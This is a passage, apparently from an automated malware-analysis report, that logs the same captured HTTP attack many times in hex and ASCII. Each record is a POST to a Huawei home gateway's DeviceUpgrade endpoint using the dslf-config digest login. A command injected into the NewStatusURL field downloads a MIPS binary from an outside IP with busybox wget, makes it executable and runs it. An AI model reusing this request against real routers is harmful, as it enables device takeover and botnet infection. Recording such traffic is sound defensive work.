s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 